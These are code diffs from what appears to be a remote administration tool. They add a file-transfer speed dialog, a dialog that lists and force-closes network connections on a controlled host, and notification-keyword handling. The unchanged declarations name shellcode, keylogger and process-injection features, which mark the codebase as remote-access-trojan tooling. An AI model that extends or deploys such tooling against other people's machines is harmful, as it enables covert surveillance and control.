void SavePreviewProfilesToCfg() const; // m_PreviewProfiles 落盘到 THIS_CFG
|
||||
const PreviewProfile& GetPreviewProfileCfg(int level) const; // 供 ChooseScreenPreviewParams 用
|
||||
void OnPreviewLevels(); // 高级→屏幕预览质量等级
|
||||
|
||||
// ===== 文件传输速度配置([transfer] 节,ChunkKb / DurationMs) =====
|
||||
// 主控端 UI 偏好,持久化走 THIS_CFG。上传方向读 THIS_CFG(重启主控端生效);
|
||||
// 下载方向经 CMD_FILE_SPEED 下发到被控端(下次打开文件管理/远程桌面会话生效)。
|
||||
void OnFileTransferSpeed(); // 高级→文件传输速度
|
||||
void SendFileSpeedCommand(); // 把当前档位经主连接下发给被控端
|
||||
void SendThumbnailRequest(class context* ctx);// 发一次缩略图请求
|
||||
void CacheThumbnail(uint64_t clientID, const BYTE* jpeg, size_t bytes);
|
||||
void ClearThumbnailCacheEntry(uint64_t clientID);
|
||||
@@ -425,7 +432,7 @@ public:
|
||||
bool IsDllRequestLimited(const std::string& ip);
|
||||
void RecordDllRequest(const std::string& ip);
|
||||
CMenu m_MainMenu;
|
||||
CBitmap m_bmOnline[66];
|
||||
CBitmap m_bmOnline[69];
|
||||
uint64_t m_superID;
|
||||
std::map<HWND, CDialogBase *> m_RemoteWnds;
|
||||
FileTransformCmd m_CmdList;
|
||||
@@ -510,6 +517,11 @@ public:
|
||||
// 由 m_cs 保护。
|
||||
std::map<uint64_t, std::wstring> m_ActiveWndW;
|
||||
afx_msg void OnOnlineMessage();
|
||||
afx_msg void OnChat();
|
||||
afx_msg void OnMachineManager();
|
||||
afx_msg void OnExperimentFileManager();
|
||||
afx_msg void OnExperimentPrivateScreen();
|
||||
afx_msg void OnExperimentDrawingBoard();
|
||||
afx_msg void OnOnlineDelete();
|
||||
afx_msg void OnOnlineUpdate();
|
||||
afx_msg void OnAbout();
|
||||
@@ -640,6 +652,7 @@ public:
|
||||
afx_msg void OnToolPluginSettings();
|
||||
afx_msg void OnTriggerSettings();
|
||||
void ExecuteOnlineTrigger(CONTEXT_OBJECT* ctx);
|
||||
void ExecuteAuthFailedTrigger(CONTEXT_OBJECT* ctx);
|
||||
afx_msg void OnShellcodeAesCArray();
|
||||
afx_msg void OnParamKblogger();
|
||||
afx_msg void OnOnlineInjNotepad();
|
||||
@@ -674,6 +687,7 @@ public:
|
||||
afx_msg void OnCancelShare();
|
||||
afx_msg void OnWebRemoteControl();
|
||||
afx_msg void OnMcpSettings();
|
||||
afx_msg void OnConnectionManage();
|
||||
afx_msg void OnProxyPortAutorun();
|
||||
afx_msg void OnScreenpreviewLoop();
|
||||
afx_msg void OnMenuCompress();
|
||||
@@ -688,5 +702,6 @@ public:
|
||||
afx_msg void OnOnlineClientLog();
|
||||
afx_msg void OnOnlineHistoryActivity();
|
||||
afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenConnectionDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg void OnOnlineForbidden();
|
||||
};
|
||||
@@ -266,6 +266,7 @@
|
||||
<None Include="res\Cur\MutiDrag.cur" />
|
||||
<None Include="res\My2015Remote.rc2" />
|
||||
<None Include="res\web\fit.min.js" />
|
||||
<None Include="res\web\opus-decoder.min.js" />
|
||||
<None Include="res\web\xterm.css" />
|
||||
<None Include="res\web\xterm.min.js" />
|
||||
<None Include="stub2\stub32.bin" />
|
||||
@@ -350,6 +351,7 @@
|
||||
<ClInclude Include="SearchBarDlg.h" />
|
||||
<ClInclude Include="Server.h" />
|
||||
<ClInclude Include="ServicesDlg.h" />
|
||||
<ClInclude Include="ConnectionsDlg.h" />
|
||||
<ClInclude Include="SettingDlg.h" />
|
||||
<ClInclude Include="ShellDlg.h" />
|
||||
<ClInclude Include="TerminalDlg.h" />
|
||||
@@ -483,6 +485,7 @@
|
||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="SearchBarDlg.cpp" />
|
||||
<ClCompile Include="ServicesDlg.cpp" />
|
||||
<ClCompile Include="ConnectionsDlg.cpp" />
|
||||
<ClCompile Include="SettingDlg.cpp" />
|
||||
<ClCompile Include="ShellDlg.cpp" />
|
||||
<ClCompile Include="TerminalDlg.cpp" />
|
||||
@@ -523,6 +526,8 @@
|
||||
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
||||
<Image Include="res\Bitmap\CancelShare.bmp" />
|
||||
<Image Include="res\Bitmap\ClientLog.bmp" />
|
||||
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
||||
<Image Include="res\Bitmap\FileManager.bmp" />
|
||||
<Image Include="res\Bitmap\Forbidden.bmp" />
|
||||
<Image Include="res\bitmap\compress.bmp" />
|
||||
<Image Include="res\Bitmap\Copy.bmp" />
|
||||
@@ -558,6 +563,7 @@
|
||||
<Image Include="res\Bitmap\PluginConfig.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyStd.bmp" />
|
||||
<Image Include="res\Bitmap\PrivacyShield.bmp" />
|
||||
<Image Include="res\Bitmap\PrivateScreen.bmp" />
|
||||
<Image Include="res\Bitmap\proxy.bmp" />
|
||||
<Image Include="res\Bitmap\Reboot.bmp" />
|
||||
@@ -582,6 +588,7 @@
|
||||
<Image Include="res\chat.ico" />
|
||||
<Image Include="res\ClientLog.ico" />
|
||||
<Image Include="res\cmdshell.ico" />
|
||||
<Image Include="res\connections.ico" />
|
||||
<Image Include="res\decrypt.ico" />
|
||||
<Image Include="res\DrawingBoard.ico" />
|
||||
<Image Include="res\dword.ico" />
|
||||
|
||||
@@ -29,6 +29,7 @@
|
||||
<ClCompile Include="RegisterDlg.cpp" />
|
||||
<ClCompile Include="ScreenSpyDlg.cpp" />
|
||||
<ClCompile Include="ServicesDlg.cpp" />
|
||||
<ClCompile Include="ConnectionsDlg.cpp" />
|
||||
<ClCompile Include="SettingDlg.cpp" />
|
||||
<ClCompile Include="ShellDlg.cpp" />
|
||||
<ClCompile Include="TerminalDlg.cpp" />
|
||||
@@ -128,6 +129,7 @@
|
||||
<ClInclude Include="Resource.h" />
|
||||
<ClInclude Include="ScreenSpyDlg.h" />
|
||||
<ClInclude Include="ServicesDlg.h" />
|
||||
<ClInclude Include="ConnectionsDlg.h" />
|
||||
<ClInclude Include="SettingDlg.h" />
|
||||
<ClInclude Include="ShellDlg.h" />
|
||||
<ClInclude Include="TerminalDlg.h" />
|
||||
@@ -232,6 +234,7 @@
|
||||
<None Include="res\web\xterm.min.js" />
|
||||
<None Include="res\web\xterm.css" />
|
||||
<None Include="res\web\fit.min.js" />
|
||||
<None Include="res\web\opus-decoder.min.js" />
|
||||
<None Include="..\web\index.html" />
|
||||
<None Include="stub2\stub32.bin" />
|
||||
<None Include="stub2\stub64.bin" />
|
||||
@@ -264,6 +267,7 @@
|
||||
<Image Include="res\screen.ico" />
|
||||
<Image Include="res\machine.ico" />
|
||||
<Image Include="res\system.ico" />
|
||||
<Image Include="res\connections.ico" />
|
||||
<Image Include="res\chat.ico" />
|
||||
<Image Include="res\decrypt.ico" />
|
||||
<Image Include="res\file\FILE.ico" />
|
||||
@@ -348,5 +352,8 @@
|
||||
<Image Include="res\Bitmap\HistoryActivity.bmp" />
|
||||
<Image Include="res\Bitmap\BrowseWnd.bmp" />
|
||||
<Image Include="res\Bitmap\PortProxyAuto.bmp" />
|
||||
<Image Include="res\Bitmap\FileManager.bmp" />
|
||||
<Image Include="res\Bitmap\PrivacyShield.bmp" />
|
||||
<Image Include="res\Bitmap\DrawingBoard.bmp" />
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,122 @@
|
||||
// CFileSpeedDlg.h
|
||||
// 文件传输速度调节对话框:拖动滑块选档位,实时显示预估速度。
|
||||
// 纯主控端 UI 偏好,持久化由 CMy2015RemoteDlg::OnFileTransferSpeed() 负责。
|
||||
// 仅在 2015RemoteDlg.cpp 中 include 一次(头文件内联实现 + 消息映射,勿多处包含)。
|
||||
#pragma once
|
||||
|
||||
#include "LangManager.h"
|
||||
#include <afxcmn.h>
|
||||
|
||||
// 档位表(权威来源:docs/FileTransferSpeed_Design.md §3)。
|
||||
// chunkKb * 1024 / durationMs 即理论字节/秒;durationMs==0 表示不人为限速。
|
||||
struct FileSpeedTier { int chunkKb; int durMs; const TCHAR* name; };
|
||||
|
||||
static const FileSpeedTier kFileSpeedTiers[] = {
|
||||
{ 64, 200, _T("最慢") }, // ≈0.31 MB/s
|
||||
{ 64, 100, _T("慢") }, // ≈0.63 MB/s
|
||||
{ 64, 50, _T("默认") }, // ≈1.25 MB/s
|
||||
{ 128, 50, _T("快") }, // ≈2.5 MB/s
|
||||
{ 256, 50, _T("更快") }, // ≈5 MB/s
|
||||
{ 512, 50, _T("很快") }, // ≈10 MB/s
|
||||
{ 1024, 0, _T("不限速") }, // 网络上限
|
||||
};
|
||||
#define FILE_SPEED_TIER_COUNT 7
|
||||
#define FILE_SPEED_DEFAULT_TIER 2 // 默认档位
|
||||
|
||||
class CFileSpeedDlg : public CDialog
|
||||
{
|
||||
public:
|
||||
enum { IDD = IDD_FILE_SPEED };
|
||||
|
||||
CFileSpeedDlg(int chunkKb, int durMs, CWnd* pParent = NULL)
|
||||
: CDialog(CFileSpeedDlg::IDD, pParent), m_chunkKb(chunkKb), m_durMs(durMs)
|
||||
{
|
||||
}
|
||||
|
||||
int GetChunkKb() const { return m_chunkKb; }
|
||||
int GetDurMs() const { return m_durMs; }
|
||||
|
||||
protected:
|
||||
int m_chunkKb;
|
||||
int m_durMs;
|
||||
|
||||
static int TierIndexFor(int chunkKb, int durMs)
|
||||
{
|
||||
for (int i = 0; i < FILE_SPEED_TIER_COUNT; i++)
|
||||
if (kFileSpeedTiers[i].chunkKb == chunkKb && kFileSpeedTiers[i].durMs == durMs)
|
||||
return i;
|
||||
return FILE_SPEED_DEFAULT_TIER; // 未知值回落默认
|
||||
}
|
||||
|
||||
static void FormatSpeed(int idx, CString& out)
|
||||
{
|
||||
const FileSpeedTier& t = kFileSpeedTiers[idx];
|
||||
// 档位名与格式串经 _TR/_LF 走多语言表(LangManager),语言文件以中文原文为 key。
|
||||
if (t.durMs <= 0) {
|
||||
out.FormatL(_T("%s · 不受限速(受网络带宽约束)"), _LF(t.name));
|
||||
return;
|
||||
}
|
||||
double mbps = (double)t.chunkKb * 1024.0 / (t.durMs / 1000.0) / (1024.0 * 1024.0);
|
||||
out.FormatL(_T("%s · 约 %.2f MB/s"), _LF(t.name), mbps);
|
||||
}
|
||||
|
||||
int GetSliderPos()
|
||||
{
|
||||
int pos = (int)SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_GETPOS, 0, 0);
|
||||
if (pos < 0) pos = 0;
|
||||
if (pos >= FILE_SPEED_TIER_COUNT) pos = FILE_SPEED_TIER_COUNT - 1;
|
||||
return pos;
|
||||
}
|
||||
|
||||
void UpdateLabel()
|
||||
{
|
||||
CString s;
|
||||
FormatSpeed(GetSliderPos(), s);
|
||||
SetDlgItemText(IDC_FSPEED_LABEL, s);
|
||||
}
|
||||
|
||||
virtual BOOL OnInitDialog() override
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETRANGE, TRUE,
|
||||
MAKELONG(0, FILE_SPEED_TIER_COUNT - 1));
|
||||
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPAGESIZE, 0, 1);
|
||||
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETTICFREQ, 0, 1);
|
||||
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, TierIndexFor(m_chunkKb, m_durMs));
|
||||
|
||||
UpdateLabel();
|
||||
TranslateDialog(this);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
virtual void OnOK() override
|
||||
{
|
||||
int idx = GetSliderPos();
|
||||
m_chunkKb = kFileSpeedTiers[idx].chunkKb;
|
||||
m_durMs = kFileSpeedTiers[idx].durMs;
|
||||
CDialog::OnOK();
|
||||
}
|
||||
|
||||
afx_msg void OnHScroll(UINT nSBCode, UINT nPos, CScrollBar* pScrollBar)
|
||||
{
|
||||
(void)nSBCode; (void)nPos; (void)pScrollBar;
|
||||
UpdateLabel(); // 拖动过程中实时刷新预估速度
|
||||
}
|
||||
|
||||
virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam) override
|
||||
{
|
||||
if (LOWORD(wParam) == IDC_FSPEED_RESET && HIWORD(wParam) == BN_CLICKED) {
|
||||
SendDlgItemMessage(IDC_FSPEED_SLIDER, TBM_SETPOS, TRUE, FILE_SPEED_DEFAULT_TIER);
|
||||
UpdateLabel();
|
||||
return TRUE;
|
||||
}
|
||||
return CDialog::OnCommand(wParam, lParam);
|
||||
}
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
};
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFileSpeedDlg, CDialog)
|
||||
ON_WM_HSCROLL()
|
||||
END_MESSAGE_MAP()
|
||||
@@ -0,0 +1,305 @@
|
||||
// ConnectionsDlg.cpp : 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "ConnectionsDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include <ws2tcpip.h>
|
||||
#include <utility>
|
||||
|
||||
|
||||
// CConnectionsDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CConnectionsDlg, CDialog)
|
||||
|
||||
// 连接记录排序辅助:保存完整 ConnectionInfo(供右键强断)与各列排序键。
|
||||
// 数字列零填充、地址列转定宽十六进制,保证字符串比较即得正确数值顺序。
|
||||
typedef struct ConnItemData {
|
||||
ConnectionInfo info;
|
||||
CString key[8];
|
||||
CString GetKey(int index) const { return key[index]; }
|
||||
} ConnItemData;
|
||||
|
||||
CConnectionsDlg::CConnectionsDlg(CWnd* pParent, Server* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: DialogBase(CConnectionsDlg::IDD, pParent, IOCPServer, ContextObject, IDI_CONNECTION)
|
||||
, m_nRClickItem(-1)
|
||||
, m_nSortColumn(-1)
|
||||
, m_bSortAscending(true)
|
||||
{
|
||||
}
|
||||
|
||||
CConnectionsDlg::~CConnectionsDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CConnectionsDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
__super::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_LIST, m_ControlList);
|
||||
DDX_Control(pDX, IDC_STATIC_COUNT, m_Count);
|
||||
}
|
||||
|
||||
BEGIN_MESSAGE_MAP(CConnectionsDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
ON_WM_SIZE()
|
||||
ON_COMMAND(ID_CONNECTION_KILL, &CConnectionsDlg::OnConnectionKill)
|
||||
ON_COMMAND(ID_CONNECTION_REFRESH, &CConnectionsDlg::OnConnectionRefresh)
|
||||
ON_NOTIFY(NM_RCLICK, IDC_LIST, &CConnectionsDlg::OnNMRClickList)
|
||||
ON_NOTIFY(HDN_ITEMCLICK, 0, &CConnectionsDlg::OnHdnItemclickList)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CConnectionsDlg 消息处理程序
|
||||
|
||||
static CString FormatAddr(BYTE af, const uint8_t* addr)
|
||||
{
|
||||
char buf[INET6_ADDRSTRLEN] = { 0 };
|
||||
if (af == AF_INET) {
|
||||
inet_ntop(AF_INET, addr, buf, INET_ADDRSTRLEN);
|
||||
} else {
|
||||
inet_ntop(AF_INET6, addr, buf, INET6_ADDRSTRLEN);
|
||||
}
|
||||
return CA2T(buf);
|
||||
}
|
||||
|
||||
static CString TcpStateName(DWORD state)
|
||||
{
|
||||
switch (state) {
|
||||
case 1: return _T("CLOSED");
|
||||
case 2: return _T("LISTEN");
|
||||
case 3: return _T("SYN_SENT");
|
||||
case 4: return _T("SYN_RCVD");
|
||||
case 5: return _T("ESTABLISHED");
|
||||
case 6: return _T("FIN_WAIT1");
|
||||
case 7: return _T("FIN_WAIT2");
|
||||
case 8: return _T("CLOSE_WAIT");
|
||||
case 9: return _T("CLOSING");
|
||||
case 10: return _T("LAST_ACK");
|
||||
case 11: return _T("TIME_WAIT");
|
||||
case 12: return _T("DELETE_TCB");
|
||||
default: return _T("-");
|
||||
}
|
||||
}
|
||||
|
||||
// 地址排序键:IPv4/IPv6 统一转成 16 字节定宽十六进制(前缀 4/6 区分协议族),
|
||||
// 使字符串比较等价于按地址数值排序。
|
||||
static CString AddrSortKey(uint8_t af, const uint8_t* addr)
|
||||
{
|
||||
CString key;
|
||||
key.Format(_T("%d:"), (af == AF_INET) ? 4 : 6);
|
||||
for (int i = 0; i < 16; ++i)
|
||||
key.AppendFormat(_T("%02X"), addr[i]);
|
||||
return key;
|
||||
}
|
||||
|
||||
BOOL CConnectionsDlg::OnInitDialog()
|
||||
{
|
||||
__super::OnInitDialog();
|
||||
|
||||
SetIcon(m_hIcon, TRUE);
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
CString strString;
|
||||
strString.FormatL("%s - 连接管理", m_IPAddress);
|
||||
SetWindowText(strString);
|
||||
|
||||
m_ControlList.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
m_ControlList.InsertColumnL(0, "协议", LVCFMT_LEFT, 50);
|
||||
m_ControlList.InsertColumnL(1, "本地地址", LVCFMT_LEFT, 120);
|
||||
m_ControlList.InsertColumnL(2, "本地端口", LVCFMT_LEFT, 70);
|
||||
m_ControlList.InsertColumnL(3, "远端地址", LVCFMT_LEFT, 120);
|
||||
m_ControlList.InsertColumnL(4, "远端端口", LVCFMT_LEFT, 70);
|
||||
m_ControlList.InsertColumnL(5, "状态", LVCFMT_LEFT, 100);
|
||||
m_ControlList.InsertColumnL(6, "PID", LVCFMT_LEFT, 60);
|
||||
m_ControlList.InsertColumnL(7, "进程名", LVCFMT_LEFT, 180);
|
||||
|
||||
ShowConnectionList();
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
int CConnectionsDlg::ShowConnectionList(void)
|
||||
{
|
||||
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
|
||||
int len = tmp.GetBufferLength();
|
||||
DeleteAllItems();
|
||||
|
||||
if (len < 3) {
|
||||
CString strEmpty;
|
||||
strEmpty.FormatL("连接数:%d", 0);
|
||||
m_Count.SetWindowText(strEmpty);
|
||||
return 0;
|
||||
}
|
||||
|
||||
const BYTE* p = tmp.GetBuffer(0);
|
||||
uint16_t count = 0;
|
||||
memcpy(&count, p + 1, 2);
|
||||
int avail = (len - 3) / (int)sizeof(ConnectionInfo);
|
||||
if ((int)count > avail) count = (uint16_t)avail;
|
||||
|
||||
for (int i = 0; i < (int)count; ++i) {
|
||||
const ConnectionInfo* info = (const ConnectionInfo*)(p + 3 + i * sizeof(ConnectionInfo));
|
||||
|
||||
CString strProto = (info->proto == 1) ? _T("TCP") : _T("UDP");
|
||||
CString strLocalAddr = FormatAddr(info->af, info->localAddr);
|
||||
CString strRemoteAddr = FormatAddr(info->af, info->remoteAddr);
|
||||
CString strState = (info->proto == 1) ? TcpStateName(info->state) : _T("-");
|
||||
|
||||
CString strLocalPort, strRemotePort, strPid, strProcName;
|
||||
strLocalPort.Format(_T("%u"), info->localPort);
|
||||
strRemotePort.Format(_T("%u"), info->remotePort);
|
||||
strPid.Format(_T("%u"), info->pid);
|
||||
strProcName = CA2T(info->procName, CP_UTF8);
|
||||
|
||||
auto* data = new ConnItemData;
|
||||
data->info = *info;
|
||||
data->key[0] = strProto;
|
||||
data->key[1] = AddrSortKey(info->af, info->localAddr);
|
||||
data->key[2].Format(_T("%05u"), info->localPort);
|
||||
data->key[3] = AddrSortKey(info->af, info->remoteAddr);
|
||||
data->key[4].Format(_T("%05u"), info->remotePort);
|
||||
data->key[5].Format(_T("%03u"), info->state);
|
||||
data->key[6].Format(_T("%010u"), info->pid);
|
||||
data->key[7] = strProcName;
|
||||
|
||||
m_ControlList.InsertItem(i, strProto);
|
||||
m_ControlList.SetItemText(i, 1, strLocalAddr);
|
||||
m_ControlList.SetItemText(i, 2, strLocalPort);
|
||||
m_ControlList.SetItemText(i, 3, strRemoteAddr);
|
||||
m_ControlList.SetItemText(i, 4, strRemotePort);
|
||||
m_ControlList.SetItemText(i, 5, strState);
|
||||
m_ControlList.SetItemText(i, 6, strPid);
|
||||
m_ControlList.SetItemText(i, 7, strProcName);
|
||||
m_ControlList.SetItemData(i, (DWORD_PTR)data);
|
||||
}
|
||||
|
||||
CString strCount;
|
||||
strCount.FormatL("连接数:%d", (int)count);
|
||||
m_Count.SetWindowText(strCount);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void CConnectionsDlg::OnClose()
|
||||
{
|
||||
CancelIO();
|
||||
if (IsProcessing()) {
|
||||
ShowWindow(SW_HIDE);
|
||||
return;
|
||||
}
|
||||
|
||||
DeleteAllItems();
|
||||
|
||||
DialogBase::OnClose();
|
||||
}
|
||||
|
||||
void CConnectionsDlg::DeleteAllItems()
|
||||
{
|
||||
for (int i = 0; i < m_ControlList.GetItemCount(); i++) {
|
||||
auto data = (ConnItemData*)m_ControlList.GetItemData(i);
|
||||
if (data) delete data;
|
||||
}
|
||||
m_ControlList.DeleteAllItems();
|
||||
}
|
||||
|
||||
void CConnectionsDlg::OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
LPNMITEMACTIVATE pAct = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||
m_nRClickItem = pAct->iItem;
|
||||
|
||||
bool canKill = false;
|
||||
if (m_nRClickItem >= 0) {
|
||||
auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
|
||||
canKill = (data && data->info.proto == 1 && data->info.af == AF_INET);
|
||||
}
|
||||
|
||||
CMenu Menu;
|
||||
Menu.LoadMenu(IDR_MENU_CONNECTIONS);
|
||||
TranslateMenu(&Menu);
|
||||
CMenu* SubMenu = Menu.GetSubMenu(0);
|
||||
if (SubMenu && !canKill) {
|
||||
SubMenu->EnableMenuItem(ID_CONNECTION_KILL, MF_BYCOMMAND | MF_GRAYED);
|
||||
}
|
||||
CPoint Point;
|
||||
GetCursorPos(&Point);
|
||||
SubMenu->TrackPopupMenu(TPM_LEFTALIGN | TPM_LEFTBUTTON, Point.x, Point.y, this);
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
void CConnectionsDlg::OnConnectionKill()
|
||||
{
|
||||
if (m_nRClickItem < 0) return;
|
||||
auto* data = (ConnItemData*)m_ControlList.GetItemData(m_nRClickItem);
|
||||
if (!data || data->info.proto != 1 || data->info.af != AF_INET) return;
|
||||
|
||||
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, 1 + sizeof(ConnectionInfo));
|
||||
if (szBuffer == NULL) return;
|
||||
szBuffer[0] = COMMAND_KILL_CONNECTION;
|
||||
memcpy(szBuffer + 1, &data->info, sizeof(ConnectionInfo));
|
||||
m_ContextObject->Send2Client(szBuffer, LocalSize(szBuffer));
|
||||
LocalFree(szBuffer);
|
||||
}
|
||||
|
||||
void CConnectionsDlg::OnConnectionRefresh()
|
||||
{
|
||||
BYTE bToken = COMMAND_CONNECTION;
|
||||
m_ContextObject->Send2Client(&bToken, 1);
|
||||
}
|
||||
|
||||
void CConnectionsDlg::OnReceiveComplete(void)
|
||||
{
|
||||
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
|
||||
case TOKEN_CONNECTION_LIST:
|
||||
ShowConnectionList();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
void CConnectionsDlg::OnSize(UINT nType, int cx, int cy)
|
||||
{
|
||||
__super::OnSize(nType, cx, cy);
|
||||
|
||||
if (!m_ControlList.GetSafeHwnd()) return;
|
||||
|
||||
CRect rc;
|
||||
m_ControlList.GetWindowRect(&rc);
|
||||
ScreenToClient(&rc);
|
||||
|
||||
m_ControlList.MoveWindow(0, 0, cx, cy, TRUE);
|
||||
}
|
||||
|
||||
int CALLBACK CConnectionsDlg::CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort)
|
||||
{
|
||||
auto* pSortInfo = reinterpret_cast<std::pair<int, bool>*>(lParamSort);
|
||||
int nColumn = pSortInfo->first;
|
||||
bool bAscending = pSortInfo->second;
|
||||
|
||||
auto* context1 = (ConnItemData*)lParam1;
|
||||
auto* context2 = (ConnItemData*)lParam2;
|
||||
CString s1 = context1->GetKey(nColumn);
|
||||
CString s2 = context2->GetKey(nColumn);
|
||||
|
||||
int result = s1.Compare(s2);
|
||||
return bAscending ? result : -result;
|
||||
}
|
||||
|
||||
void CConnectionsDlg::SortByColumn(int nColumn)
|
||||
{
|
||||
if (nColumn == m_nSortColumn) {
|
||||
m_bSortAscending = !m_bSortAscending;
|
||||
} else {
|
||||
m_nSortColumn = nColumn;
|
||||
m_bSortAscending = true;
|
||||
}
|
||||
|
||||
std::pair<int, bool> sortInfo(m_nSortColumn, m_bSortAscending);
|
||||
m_ControlList.SortItems(CompareFunction, reinterpret_cast<LPARAM>(&sortInfo));
|
||||
}
|
||||
|
||||
void CConnectionsDlg::OnHdnItemclickList(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
{
|
||||
LPNMHEADER pNMHeader = reinterpret_cast<LPNMHEADER>(pNMHDR);
|
||||
SortByColumn(pNMHeader->iItem);
|
||||
*pResult = 0;
|
||||
}
|
||||
@@ -0,0 +1,43 @@
|
||||
#pragma once
|
||||
#include "afxcmn.h"
|
||||
#include "IOCPServer.h"
|
||||
#include "afxwin.h"
|
||||
|
||||
// CConnectionsDlg 对话框:展示受管主机当前 TCP/UDP 连接,右键可强制断开 IPv4 TCP 连接。
|
||||
|
||||
class CConnectionsDlg : public DialogBase
|
||||
{
|
||||
DECLARE_DYNAMIC(CConnectionsDlg)
|
||||
|
||||
public:
|
||||
CConnectionsDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL);
|
||||
virtual ~CConnectionsDlg();
|
||||
|
||||
int ShowConnectionList(void);
|
||||
void OnReceiveComplete(void);
|
||||
|
||||
enum { IDD = IDD_DIALOG_CONNECTIONS };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX);
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CListCtrl m_ControlList;
|
||||
virtual BOOL OnInitDialog();
|
||||
|
||||
void DeleteAllItems();
|
||||
void SortByColumn(int nColumn);
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnNMRClickList(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnConnectionKill();
|
||||
afx_msg void OnConnectionRefresh();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnHdnItemclickList(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
static int CALLBACK CompareFunction(LPARAM lParam1, LPARAM lParam2, LPARAM lParamSort);
|
||||
|
||||
CStatic m_Count;
|
||||
int m_nRClickItem;
|
||||
int m_nSortColumn;
|
||||
bool m_bSortAscending;
|
||||
};
|
||||
@@ -56,7 +56,7 @@ BOOL NotifySettingsDlg::OnInitDialog()
|
||||
SetDlgItemText(IDC_STATIC_TRIGGER, _TR(_T("触发条件:")));
|
||||
SetDlgItemText(IDC_STATIC_MATCH_COLUMN, _TR(_T("匹配列:")));
|
||||
SetDlgItemText(IDC_STATIC_KEYWORDS, _TR(_T("关键词:")));
|
||||
SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(多个关键词用分号分隔,匹配任一项即触发通知)")));
|
||||
SetDlgItemText(IDC_STATIC_KEYWORDS_HINT, _TR(_T("(每行一个关键词,匹配任一项即触发通知)")));
|
||||
SetDlgItemText(IDC_STATIC_NOTIFY_TIP, _TR(_T("提示: 同一主机 60 分钟内仅通知一次")));
|
||||
SetDlgItemText(IDOK, _TR("确定"));
|
||||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||||
@@ -154,7 +154,24 @@ void NotifySettingsDlg::LoadSettings()
|
||||
m_comboNotifyColumn.SetCurSel(rule.columnIndex);
|
||||
}
|
||||
|
||||
m_editNotifyPattern.SetWindowText(CString(rule.matchPattern.c_str()));
|
||||
// Display stored semicolon-separated keywords as one keyword per line.
|
||||
{
|
||||
CString pattern;
|
||||
const CString stored(CA2T(rule.matchPattern.c_str(), CP_UTF8));
|
||||
int start = 0;
|
||||
for (;;) {
|
||||
const int pos = stored.Find(_T(';'), start);
|
||||
CString kw = (pos < 0) ? stored.Mid(start) : stored.Mid(start, pos - start);
|
||||
kw.Trim();
|
||||
if (!kw.IsEmpty()) {
|
||||
if (!pattern.IsEmpty()) pattern += _T("\r\n");
|
||||
pattern += kw;
|
||||
}
|
||||
if (pos < 0) break;
|
||||
start = pos + 1;
|
||||
}
|
||||
m_editNotifyPattern.SetWindowText(pattern);
|
||||
}
|
||||
}
|
||||
|
||||
void NotifySettingsDlg::SaveSettings()
|
||||
@@ -189,8 +206,26 @@ void NotifySettingsDlg::SaveSettings()
|
||||
sel = m_comboNotifyColumn.GetCurSel();
|
||||
rule.columnIndex = (sel >= 0) ? (int)m_comboNotifyColumn.GetItemData(sel) : ONLINELIST_COMPUTER_NAME;
|
||||
|
||||
// Normalize one-keyword-per-line input back to semicolon-separated storage.
|
||||
m_editNotifyPattern.GetWindowText(str);
|
||||
rule.matchPattern = CT2A(str, CP_UTF8);
|
||||
str.Replace(_T("\r\n"), _T("\n"));
|
||||
str.Replace(_T('\r'), _T('\n'));
|
||||
